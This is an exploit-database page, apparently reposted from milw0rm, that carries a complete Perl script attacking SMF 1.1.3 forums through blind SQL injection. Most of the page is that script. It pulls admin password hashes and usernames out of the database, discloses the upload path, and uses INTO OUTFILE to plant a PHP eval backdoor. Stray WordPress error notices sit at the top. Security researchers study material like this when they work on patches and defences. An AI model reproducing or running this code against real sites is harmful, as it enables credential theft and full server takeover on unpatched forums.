Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-import-export-lite domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the insert-headers-and-footers domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6121
SMF 1.1.3 Extremely fast Blind SQL Injection Exploit! - exploit.company
header-logo
Suggest Exploit
vendor:
SMF
by:
Michael Brooks
7.5
CVSS
HIGH
Blind SQL Injection
89
CWE
Product Name: SMF
Affected Version From: SMF 1.1.3
Affected Version To:
Patch Exists: YES
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Linux

SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!

This exploit takes advantage of two SQL injection flaws in SMF 1.1.3. It works with both magic_quotes_gpc=On and Off. The exploit bypasses SMF's SQL Injection filter. The author has submitted a patch for these flaws.

Mitigation:

Apply the patch provided by the author.
Source

Exploit-DB raw data:

#!/usr/bin/perl

#Written By Michael Brooks
#contact: th3(dot)r00k(at)gmail(dot)com

#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!
#	-Binary Search
#	-Multi-Threaded
#	-NO benchmark()'s
#
#Two SQL Injection flaws.
#Works with magic_quotes_gpc=On or Off. 
#Total Bypass of SMF's SQL Injection filter.

#I submitted a patch for these flaws:
#http://www.simplemachines.org/community/index.php?topic=196380.0

#I would like to thank RetroGod for being so skilled and willing to help me out. 

#**Warning** perl will somtimes seg fault when useing threads.
#Tested Under Linux

use LWP::UserAgent;
use threads;
use Thread::Semaphore;

	#global variables
	my $threads=1;
	my $semaphore = new Thread::Semaphore; 
	my $globPos : shared=1;
	my $oper : shared;
	my @result : shared;
	my $target;
	my $cookie=false;
	
	$type="sleep";

	main();#execute main
	sub main{
		$n=$threads;
		$u=$p=$b=1;
		$start_time=time;
		$e=1;
		#Process arguments passed by the command line.
		for($v=0;$v<=$#ARGV;$v++){
			if(substr($ARGV[$v],0,1) eq '-'){
				$var=substr($ARGV[$v],1);
				$$var=$ARGV[$v+1];
			}
		}
		
		@t=split('\?',$t);
		@t=split('index.php',@t[0]);
		$target=@t[0];
		if(index($target,"/",length($target)-1)==-1){
			$target=$target.'/';
		}
		if($e!=1){
			print "\nExample:\n";
			print "\nbrooks@TheLab:~/code/exploits\$ ./smf_blind_sql.pl -p  -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3A3%3Bi%3A1%3B%7D 
\n\nSMF Is Vulnerable!
Finding Password Hash for the Name: 'admin'
Please Standby...

Password Hash:
1d94709528bb1c83d08f3088d4043f4742891f4f
This attack used 161 HTTP requests and took 8 seconds to complete.
EOF\n\n";
			die();
		}
		$cookie=$c;
		$user=$u;
		if($n != 1){
			$threads=$n;
		}
		#Check to make sure the target is vulnerable
		if($b!=1||$p!=1){
			$vulnerable=1;
			#Yes I am assuming the default table prefix,  its a shame you can't access information_schema.
			#No prefix is needed for the non-cookie attack becase I do not need a union select or sub-select!
			bin_finder(2,1,"1","smf_members","and 1!=1");
			if(int(@result[0])!=0){
				$vulnerable=0;
			}
			$globPos=1;
			bin_finder(2,1,"1","smf_members","and 1=1");
			if(int(@result[0])!=1){
				$vulnerable=0;
			}
			if($vulnerable==1){
				print "SMF Is Vulnerable!\n"
			}else{
				print "\nATTACK FAILED!\n\n";
				if($cookie){
					print "Try sending a private message to your self or SMF might be patched.\n"
				}else{
					print "The non-cookie attack requires MySQL 5 so try using the exploit with -c or SMF might be patched.\n"
				}
				die();
			}
		}

		$m=0;
		if($p!=1){
			if($user != 1){
				print "Finding Password Hash for the Name: '$user'\n Please Standby...\n";				
				for(my $x=0;$x<$threads;$x++){
					#@threads[$x]=new threads \&bin_finder,16,40,"(conv(SUBSTRING(passwd,%s,1),16,10))=%s", "smf_members"," and memberName = '".$user."'";
					@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and memberName =". hex_encode($user);
				}
				for(my $x=0;$x<$threads;$x++){
					@threads[$x]->join;
				}
				print "\nPassword Hash:\n";
				foreach $y (@result){
					print sprintf("%x",$y);
				}
			}else{#
				print "Finding An Administrative Credental.\n Please Standby...\n";
				#bin_finder(128 ,1,"count(memberName)","smf_members"," and ID_GROUP=1 ");#single thread
				#$admin_count=@result[0];
				#$globPos=1;
				#print "There are $admin_count admins on this forum.\n";
				#for($a=0;$a<$admin_count;$a++){
					for(my $x=0;$x<$threads;$x++){
						@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and ID_MEMBER=1  ";
					}
					for(my $x=0;$x<$threads;$x++){
						@threads[$x]->join;
					}
					print "\nPassword Hash:\n";
					foreach $y (@result){
						print sprintf("%x",$y);
					}
					$globPos=1;
					bin_finder(256,1,"char_length(memberName)","smf_members"," and ID_MEMBER=1  ");#single thread
					$name_len=@result[0];
					$globPos=1;
					
					for($x=0;$x<$threads;$x++){
						@threads[$x]=new threads \&bin_finder,128,$name_len,"ASCII(SUBSTRING(memberName,%s,1))", "smf_members"," and ID_MEMBER=1  ";
					}
					for($x=0;$x<$threads;$x++){
						@threads[$x]->join;
					}
					print "\nName:\n";
					for($l=0;$l<=$name_len;$l++){
						print sprintf("%c",@result[$l]);
					}
					print "\n";
					@result=null;
					$globPos=1;
				#}
			}
		}elsif($b!=1){
			if(!$cookie){
				die("\nA cookie is needed for this attack!\n");
			}
			print "Determining the exact path to place the backdoor. \n Please standby...\n";
			bin_finder(512,1,"char_length(value)","smf_settings"," and variable = 'attachmentUploadDir'");#single thread
			$length=@result[0];
			$globPos=1;
			for(my $x=0;$x<$threads;$x++){
				@threads[$x]=new threads \&bin_finder,128,$length,"ASCII(SUBSTRING(value,%s,1))", "smf_settings"," and variable = 'attachmentUploadDir'";
			}
		
			for(my $x=0;$x<$threads;$x++){
				@threads[$x]->join;
			}
			$path='';
			print "Path Disclosed:";
			foreach $y (@result){
				$path.=sprintf("%c" ,$y);
			}
			print $path."\n";
			#$path=~s/_/?/g;#This accounts for the search request being modfied by SMF.
			#$path=~s/%/*/g;
			$r=rand();#Random file name so the attack will succeed multiple times against the same target. 
			my $ua = LWP::UserAgent->new;
			$ua->agent("Firebird");
			$ua->default_header("Cookie"=>$cookie);#Its tricky to get double quotes for the outfile statement.
			$load="\\,union select ".hex_encode("<?php eval(\$_GET[e]);?>").' into outfile  "","'.$path.'/'.$r.'.php",""#';		
			$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);
			$oper++;
			print "\nEval Backdoor:\n".$target."attachments/".$r.".php?e=phpinfo();\n"
		}else{
			$m=1;
			print "A Very Fast Blind Sql Injection Exploit for SMF 1.1.3.\n\n";
			print "-p		obtain passwords (if used without -u,  then an admin credential will be obtained)\n";
			print "-b		installs a backdoor using 'into outfile'. (requires -c)  **WARNING** SMF will log this as a single 'Hacking Attempt'!\n"; 
			print "-t 		target\n";
			print "-c		A valid cookie(Much faster attack)\n";
			print "\nAditional:\n";
			print "-u		obtains the password for a user name\n";
			print "-n		number of threads\n";
			print "-e		Shows an Example.\n";
			print "The password hash is generated as:\n";
			print "sha1(strtolower($username) . $password);\n\n";

		}
		if($m!=1){
			$t=time-$start_time;
			print "\nThis attack used $oper HTTP requests and took $t seconds to complete.";
			print "\nEOF\n";
		}
	}
	
	#Takes complex input to build the request,  returns a simple bool. 
	sub bin_ask{
		my $if = shift;
		my $table=shift;
		my $where = shift;
		my $ua = shift;
		my $f=0;
		if(!$cookie){
			#no union select or sub-select needed for this attack!
			$a=time();
			#die($where);
			#$where="and realName = ".hex_encode("admin");
			$load="\"\\\",\" or  (IF(".$if.",sleep(10),1) $where) limit 1,1 #\"";	
			$load=~s/_/?/g;#This accounts for the search request being modfied by SMF.
			$load=~s/%/*/g;
			$tst= $ua->post($target."?action=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"relevance%7Cdesc","brd%5B1%5D"=>1,"submit"=>"Search"]);
			$page= $tst->content;
			#print "<br>page:".$page;die;
			$t= time();
			#print "\n 1:time\n".$t."\n\n";
			if($t-$a>=10){
				$f=1;
			}
		}else{#%sunion select bypasses SMF's filter so i can use a sub-select in the following query.
			$load="\\,union select ".hex_encode("1)) or (1!=\"'\") and (select (IF((".$if."),true,false)) from ".$table." where 1 ".$where.") or (1!=\"'\") and pmr.ID_MEMBER = 1#'").' # ';#sql comments still work in SMF		
			$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);
			$page= $tst->content;
			#print $page; die ;		
			if(index($page,"No Messages Found")==-1){
				$f=1;
			}
		}
		return $f;
	}

	#worker thread
	sub bin_finder{
		my $base=shift;
		my $length=shift;
		my $question=shift;
		my $table=shift;
		my $where=shift;
		#One UserAgent object is used per thread.
		my $ua = LWP::UserAgent->new;
		$ua->agent("Firebird");
		$ua->default_header("Cookie"=>$cookie);
			
		#binary search:
		while($globPos<=$length){
			$semaphore->down;
				$c=$globPos;
				$globPos++;	
			$semaphore->up;
			my $n=$base-1;
			my $low=0;
			my $floor= $low;
			my $high=$n-1;
			my $pos= $low+(($high-low)/2);
			my $f=1;
			while($low<=$high&&$f){
				if(!$cookie){
					$great="GREATEST(".sprintf($question,$c).",".$pos.")!=".$pos;#bypass the filter for the < and > characters 
					 $less ="LEAST(".sprintf($question,$c).",".$pos.")!=".$pos;
				}else{
					$great=sprintf($question,$c).">".$pos;
					$less=sprintf($question,$c)."<".$pos;				
				}
				if(bin_ask($great, $table,$where,$ua)){#asking the sql database if the current value is greater than $pos
					$oper++;
					if($pos==$n-1){#if this is true then the value must be the modulus. 
						@result[$c-1]=$pos+1;
						#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";
						$f=0;
					}else{
						$low=$pos+1;
					}
				}elsif(bin_ask($less, $table,$where,$ua)){#asking the sql database if the current value is less than $pos
					$oper++;
					if($pos==$floor+1){#if this is true the value must be zero.
						@result[$c-1]=$pos-1;
						#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";
						$f=0;
					}else{
						$high=$pos-1;
					}
				}else{
					#both greater than and less then where asked, so thats two http requests. 
					$oper++;
					$oper++;
					@result[$c-1]=$pos;
					#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";,,
					$f=0;
				}
				 $pos=$low+(($high-$low)/2);
			}
		}
	}
#hex_encode was ported from one of RetroGod's php exploits.
#Thanks be to rGod for telling me about this encoding method on milw0rm's forum back when it was still up.  
#rGot you are leet!  
sub hex_encode{
  my $my_string=shift;
  my $encoded="0x";
  my $len=length($my_string);
  for ($k=0; $k<$len; $k++){
	$temp=sprintf("%X",ord(substr($my_string,$k,1)));
	if (length($temp)==1) {
		$temp="0".$temp;
	}
	$encoded.=$temp;
  }
  return $encoded;
}

# milw0rm.com [2007-10-20]
cqrsecured